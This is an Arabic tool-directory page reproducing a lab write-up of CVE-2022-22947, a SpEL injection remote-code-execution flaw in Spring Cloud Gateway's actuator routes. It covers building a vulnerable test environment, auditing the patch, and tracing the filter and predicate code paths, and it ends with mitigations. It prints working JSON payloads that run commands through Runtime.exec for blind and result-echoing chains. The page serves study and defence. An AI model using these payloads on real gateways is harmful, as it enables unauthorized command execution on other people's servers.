Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22947 — Spring-Cloud-Spel-RCE | Kitploit
أدوات/GitHubGitHub/4nnns/cve-2022-22947
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHub4nnns/cve-2022-22947

CVE-2022-22947

Spring-Cloud-Spel-RCE

عرض المستودع
122منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SpringCloud-Gateway ثغرة تنفيذ الأوامر (CVE-2022-22947)

إعداد البيئة

الطريقة الأولى:

استنساخ كود البيئة الجاهز من GitHub.

مستودع GitHub

root@kitploit:~
//⚠️ ملاحظة: يجب ألا يحتوي مسار تحميل كود البيئة على أحرف صينية أو مسافات
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

افتح حزمة الكود التي قمنا بتنزيلها للتو باستخدام IDEA: Open ---> مسار الملف الذي تم تنزيله للتو ---> Open.

الطريقة الثانية:

إنشاء مشروع يدويًا وإعداد البيئة.

(1) إنشاء مشروع جديد، واضغط على "التالي" باستمرار بعد التكوين.

(2) تحليل هيكل دليل المشروع:

​ 1. مجلد .idea يحتوي على ملفات التكوين الافتراضية لـ IntelliJ IDEA، دون استخدامات أخرى، ويمكن حذفه أو الاحتفاظ به حسب الحاجة.

​ 2. مجلد src هو منطقة الكود الرئيسية للمشروع، ويتضمن مجلدين: java وresource. java هو منطقة كتابة كود Java في المشروع، وresource هو منطقة التكوين للمشروع بالكامل. بشكل افتراضي، يضيف مشروع Spring طريقة SpringApplication في java، وهي طريقة البدء الافتراضية لـ Spring، ويضيف application.properties في resource، وهو ملف التكوين لمشروع Spring.

​ 3. مجلد test هو مجلد الاختبار، حيث يمكن اختبار الطرق.

​ 4. ملف pom.xml هو ملف تكوين Maven، والذي يتضمن التبعيات والتكوينات اللازمة للمشروع.

​ 5. ملف .iml هو تكوين حزمة تبعية Maven، ويتم إضافته افتراضيًا أيضًا.

​ 6. مجلد External Libraries يحتوي على جميع حزم التبعية لهذا المشروع.

(3) إضافة تبعيات Maven إلى ملف pom.xml (مستودع Maven يحتوي على تفاصيل جميع التبعيات).

​ 1. سيتم إنشاء جزء من كود XML افتراضيًا في ملف pom، التفاصيل كالتالي:

​ 2. استيراد التبعيات المطلوبة للمشروع. نظرًا لأن هذا المشروع هو مشروع SpringBoot، يجب استيراد تبعية spring-boot-starter كبادئ للخادم. بالإضافة إلى ذلك، نظرًا لأن هذه الثغرة هي ثغرة في بوابة Gateway من Spring Cloud، والإصدار المتأثر هو أقل من 3.1.1، لذا سنستخدم الإصدار 3.1.0 الآن لإعادة إنتاج الثغرة. في نفس الوقت، نحتاج إلى واجهة actuator للمراقبة والوصول إلى البوابة، لذلك نحتاج أيضًا إلى هذه التبعية، التفاصيل كالتالي:

(4) تعديل ملف تكوين Spring (المسار: src --> main --> resources --> application.properties)، التفاصيل كالتالي:

​ 1. server.port هو منفذ بدء تشغيل خادم Spring، المنفذ الافتراضي هو 8080، ويمكن للجميع ضبطه حسب حالتهم.

​ 2. management.endpoint.gateway.enabled=true هو لتفعيل منفذ actuator لفحص بوابة Spring Cloud Gateway، القيمة الافتراضية هي false. نظرًا لأن هذه الثغرة تحتاج إلى مراقبة حالة البوابة وما إلى ذلك، يجب تغييرها يدويًا إلى true لتفعيل المراقبة.

​ 3. management.endpoints.web.exposure.include=gateway هو لاختيار بوابة الخادم كبوابة Gateway، لأن هذه الثغرة هي ثغرة في بوابة Gateway، لذلك نعلن في ملف التكوين اختيار بوابة Gateway.

(5) تعديل فئة Java التي تم إنشاؤها تلقائيًا بعد إنشاء المشروع الجديد (اسم الفئة عادةً ما يكون اسم المشروع + Application، المسار: src --> main --> java --> com.xxx.xxx --> xxxApplication)، التفاصيل موضحة في الشكل أدناه:

(6) بدء تشغيل المشروع، التفاصيل موضحة في الشكل أدناه:

(7) الوصول إلى http://localhost:9000، إذا كانت الصفحة معروضة مثل لقطة الشاشة، فهذا يعني أن إعداد البيئة قد نجح.

التحليل العكسي (Reverse Audit)

(1) أولاً، دعنا نلقي نظرة على التصحيح الرسمي من Spring، الفرق كالتالي: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e. قام المسؤولون في الدالة org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue باستبدال StandardEvaluationContext بـ GatewayEvaluationContext لتنفيذ تعبيرات SPEL.

من الشكل أعلاه، يمكن ملاحظة أن هذا التصحيح يتم بشكل أساسي عن طريق تعديل طريقة تحليل تعبير SPEL. من السطر 66، يمكن ملاحظة أن عبارة if تتحقق مما إذا كان تعبير SPEL يبدأ بـ #{ وينتهي بـ }. وظيفة طريقة getValue هي تحليل تعبير SPEL، مما يشير إلى أن هذه الثغرة هي ثغرة RCE ناتجة عن تعبير SPEL.

(2) من خلال النقر بزر الماوس الأيسر مع الضغط على مفتاح Ctrl على حقل getValue، يمكن التتبع عكسيًا للوصول إلى تعداد org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType.

من الطريقة الافتراضية أعلاه، يمكن ملاحظة أنها تستدعي الطريقة DEFAULT في التعداد، تفاصيل الطريقة كالتالي:

root@kitploit:~
default ShortcutType shortcutType() {
		return ShortcutType.DEFAULT;
	}

طريقة DEFAULT

(3) التتبع عكسيًا للوصول إلى org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

هذه الدالة normalizeProperties() تقوم بتحليل خصائص الفلتر (filter)، حيث يتم تمرير خصائص تكوين الفلتر إلى normalize، وأخيرًا تدخل إلى getValue لتنفيذ تعبير SPEL مما يسبب حقن تعبير SPEL.

التحليل الأمامي (Forward Audit) - سلسلة استغلال بدون إظهار النتائج (Blind Chain)

(1) وفقًا للوثائق [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html]، يمكن للمستخدمين إنشاء وحذف المسارات (routes) في البوابة من خلال actuator. الشكل التالي يوضح البنية الأساسية للبوابة.

(2) في IDEA، يمكن استخدام وظيفة mapping الخاصة بـ actuator للعثور على واجهات وظائف إنشاء وحذف المسارات وما إلى ذلك.

(3) التتبع إلى فئة RouteDefinition، ووجد أن هذه الفئة تعلن عن محتوى هيكل المسار.

(4) التتبع إلى فئة FilterDefinition داخلها، ووجد أن Filter يحتوي على معلمتين: name و args.

(5) تتبع هذه المعلمة name، ووجد أنه في طريقة AbstractGatewayControllerEndpoint#save() يتم تصفية name. طريقة save هي واجهة إنشاء المسار، وتستدعي معلمتين: الأولى هي id للمسار (يمكن تخصيصه)، والثانية هي RouteDefinition. كما هو موضح أعلاه، فإن هذا الكائن يعلن عن محتوى هيكل المسار الذي تم إنشاؤه، وهذا يؤدي إلى تفعيل الثغرة.

(6) من خلال وضع نقاط توقف (breakpoints) لتصحيح الطريقة isAvailable() ديناميكيًا، لمعرفة أي أسماء يمكنها تجاوز هذا التصفية.

يمكن استخدام الأسماء الموضحة في الشكل أعلاه لتجاوز التحقق من الاسم.

(7) من خلال التحليل أعلاه، يمكننا استخدام معلمة name المحددة وتعبير SPEL الذي يبدأ بـ #{ وينتهي بـ } لشن هجوم RCE. الحمولة (Payload) كالتالي:

root@kitploit:~
/**
* شرح لتعبير SPEL في الحمولة
* نظرًا لأننا نحتاج هنا إلى تنفيذ الأوامر من خلال تعبير، نحتاج إلى استخدام طريقة T(java.lang.Runtime).getRuntime().exec() لاستدعاء طريقة تنفيذ الأوامر.
* نظرًا لأننا نحتاج إلى تمرير سلسلة نصية من نوع String في الأمر، نحتاج إلى تحويل نوع التعبير إلى كائن String.
* نظرًا لأننا نحتاج إلى تمرير التعبير في شكل دفق بايت (byte stream)، نحتاج إلى استدعاء طريقة T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
  "id": "يمكن تغييره بشكل عشوائي (يجب ألا يتطابق مع id تم إنشاؤه سابقًا)",
  "filters": [{
    "name": "أي اسم من لقطة الشاشة أعلاه",
    "args": {
      "name": "يمكن تغييره بشكل عشوائي",
      // هذه القيمة هي أمر فتح الآلة الحاسبة (لنظام MacOS)
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(8) سلسلة استغلال predicates بدون إظهار النتائج (الموقع الرسمي): تدفق تنفيذ SPEL في predicates هو نفسه تدفق تنفيذ الفلاتر. الشكل التالي يوضح محتوى مطابقة الاسم في predicates، ويمكن استخدام هذه الأسماء لتنفيذ الأوامر. من خلال التصحيح الديناميكي، يمكن الحصول على آلية التحقق من أسماء predicates، ويمكن بناء الحمولة وفقًا للأمثلة في الموقع الرسمي.

root@kitploit:~
/**
* شرح لتعبير SPEL في الحمولة
* نظرًا لأننا نحتاج هنا إلى تنفيذ الأوامر من خلال تعبير، نحتاج إلى استخدام طريقة T(java.lang.Runtime).getRuntime().exec() لاستدعاء طريقة تنفيذ الأوامر.
* نظرًا لأننا نحتاج إلى تمرير سلسلة نصية من نوع String في الأمر، نحتاج إلى تحويل نوع التعبير إلى كائن String.
* نظرًا لأننا نحتاج إلى تمرير التعبير في شكل دفق بايت، نحتاج إلى استدعاء طريقة T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
  "id": "يمكن تغييره بشكل عشوائي (يجب ألا يتطابق مع id تم إنشاؤه سابقًا)",
  "predicates": [{
    "name": "أي اسم من لقطة الشاشة أعلاه",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

الخلاصة (سلسلة استغلال بدون إظهار النتائج)

سلسلة استغلال filters و predicates بدون إظهار النتائج موجودة بالفعل، وطالما أن أسماء filters و predicates قانونية وتتجاوز القيود، فسيتم تفعيل RCE.

التحليل الأمامي (Forward Audit) - سلسلة استغلال مع إظهار النتائج (Visible Chain)

(1) مبدأ إظهار النتائج: معلومات تعريف المسار التي يخزنها المستخدم موجودة في الذاكرة. بعد تحديث المسار وتنفيذ تعبير SPEL، يتم كتابة نتيجة التنفيذ في معلومات المسار. من خلال عرض واجهة برمجة تطبيقات معلومات المسار، يمكن رؤية نتيجة تنفيذ RCE في عرض معلومات المسار.

(2) من خلال شرح الموقع الرسمي، يمكن ملاحظة أنه بالنسبة لسلسلة استغلال filters مع إظهار النتائج، فإن الاسم "AddResponseHeader" يمكنه تفعيل سلسلة الاستغلال مع إظهار النتائج.

root@kitploit:~
/**
* شرح لتعبير SPEL في الحمولة
* نظرًا لأننا نحتاج هنا إلى تنفيذ الأوامر من خلال تعبير، نحتاج إلى استخدام طريقة T(java.lang.Runtime).getRuntime().exec() لاستدعاء طريقة تنفيذ الأوامر.
* نظرًا لأننا نحتاج إلى تمرير سلسلة نصية من نوع String في الأمر، نحتاج إلى تحويل نوع التعبير إلى كائن String.
* نظرًا لأننا نحتاج إلى تمرير التعبير في شكل دفق بايت، نحتاج إلى استدعاء طريقة T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
  "id": "يمكن تغييره بشكل عشوائي (يجب ألا يتطابق مع id تم إنشاؤه سابقًا)",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(3) الآن نحتاج إلى التفكير: هل هناك أسماء أخرى غير "AddResponseHeader" يمكنها أيضًا شن هجوم RCE مع إظهار النتائج، كما هو الحال في سلسلة الاستغلال بدون إظهار النتائج؟

(4) نستخدم name="RedirectTo" ونحاول تكرار ذلك، لنرى ما إذا كان يمكن شن هجوم مع إظهار النتائج.

نجد أنه لا يمكن إظهار النتائج. دعنا نلقي نظرة على سجلات الخلفية، ونجد أن الخلفية تعيد استثناء مؤشر فارغ.

نذهب إلى الموقع الرسمي، ونجد أن هذا بسبب عدم توافق معاملات args التي أدخلناها مع الفلتر. هذا الفلتر يتطلب معلمتين: status و url. نقوم بتغيير المعاملات وننفذ مرة أخرى.

ما زلنا نتلقى 404، لكن الخطأ في الخلفية لم يعد استثناء مؤشر فارغ. من خلال مشاهدة معلومات الخطأ، نجد أن spring-cloud-gateway يقوم بتحليل تنسيق url. أي أن المعاملات المقابلة لها قيود نوع، على سبيل المثال، status يجب أن يكون رمز حالة HTTP (نوع تعدادي).

نحتاج إلى البحث عن نقطة اختراق أخرى، نبحث عن فلتر تكون معاملاته من نوع String.

(5) نذهب إلى الموقع الرسمي للبحث عن فلاتر تكون معاملاتها من نوع String (رابط الموقع الرسمي)، مثل فلتر RemoveRequestHeader الذي يتطلب فقط سلسلة نصية من نوع String كاسم. بهذه الطريقة يمكننا بناء تعبير SPEL كقيمة للاسم.

الآن يمكننا بناء الحمولة ومحاولة ذلك، ونجد أنه يمكن إظهار النتائج.

يمكن ملاحظة أنه في سلسلة استغلال Filters مع إظهار النتائج، ليس فقط الاسم name يتم تصفيته، ولكن معاملات args لها أيضًا متطلبات معينة. ومع ذلك، يمكن تجاوز هذه القيود عن طريق بناء فلاتر مختلفة.

(6) في سلسلة استغلال predicates مع إظهار النتائج، تكون طريقة الاكتشاف مماثلة لطريقة اكتشاف Filters. من خلال تصفية أنواع المعاملات ومحتوياتها في الموقع الرسمي، نجد الفلاتر التي يمكنها تنفيذ تعبير SPEL، ومن ثم يمكن تنفيذ RCE مع إظهار النتائج.

(7) في predicates، يمكن استخدام name="Cookie" لتنفيذ الأوامر. قم ببناء الحمولة وفقًا لمرجع المعاملات في الموقع الرسمي.

قم ببناء الحمولة ومحاولة ذلك، ونجد أنه يمكن إظهار النتائج بنجاح.

سلسلة استغلال predicates مع إظهار النتائج موجودة بالفعل. ليس فقط أسماء معاملات args لها قيود، ولكن أيضًا الأنواع المقابلة لها قيود. بالإضافة إلى ذلك، هناك قيود على اكتمال المعاملات.

الخلاصة (سلسلة استغلال مع إظهار النتائج)

في سلسلة الاستغلال مع إظهار النتائج، لا يقوم Spring بتصفية أسماء الفلاتر فقط، بل يقوم أيضًا بتصفية أنواع المعاملات وعددها في args. يمكن الحكم على وجود سلسلة استغلال قابلة للاستخدام من خلال الاطلاع على تفاصيل الفلاتر في الموقع الرسمي.

إعادة إنتاج الثغرة

  1. سلسلة استغلال بدون إظهار النتائج

(1) أولاً، يجب إنشاء مسار (route)، وإرسال طلب POST، وبناء حمولة ضارة.

(2) تحديث المسار.

إعادة الإنتاج 2

(3) الحصول على معلومات المسار، وإرسال طلب GET، والطلب إلى المسار test الذي أنشأناه للتو، وظهور الآلة الحاسبة.

(4) حذف المسار.

  1. سلسلة استغلال مع إظهار النتائج

(1) أولاً، يجب إنشاء مسار، وإرسال طلب POST، وبناء حمولة ضارة.

(2) تحديث المسار.

إعادة الإنتاج 2

(3) الحصول على معلومات المسار، وإرسال طلب GET، والطلب إلى المسار hacktest الذي أنشأناه للتو، وظهور نتيجة أمر whoami بنجاح.

إعادة الإنتاج 3

(4) حذف المسار.

إعادة الإنتاج 4

خطة الإصلاح

  1. خطة الإصلاح المؤقتة:

(1) إذا لم تكن بحاجة إلى نقطة نهاية Actuator، يمكن تعطيلها من خلال التكوين التالي:

root@kitploit:~
management.endpoint.gateway.enabled=false

(2) إذا كنت بحاجة إلى نقطة نهاية Actuator، فيجب حمايتها باستخدام Spring Security.

  1. تحديث الأمان الرسمي:

أصدر المسؤولون إصدارات أمان:

root@kitploit:~
يجب على مستخدمي الإصدار 3.1.X الترقية إلى الإصدار 3.1.1+

يجب على مستخدمي الإصدار 3.0.X الترقية إلى الإصدار 3.0.7+
تنزيل الأداة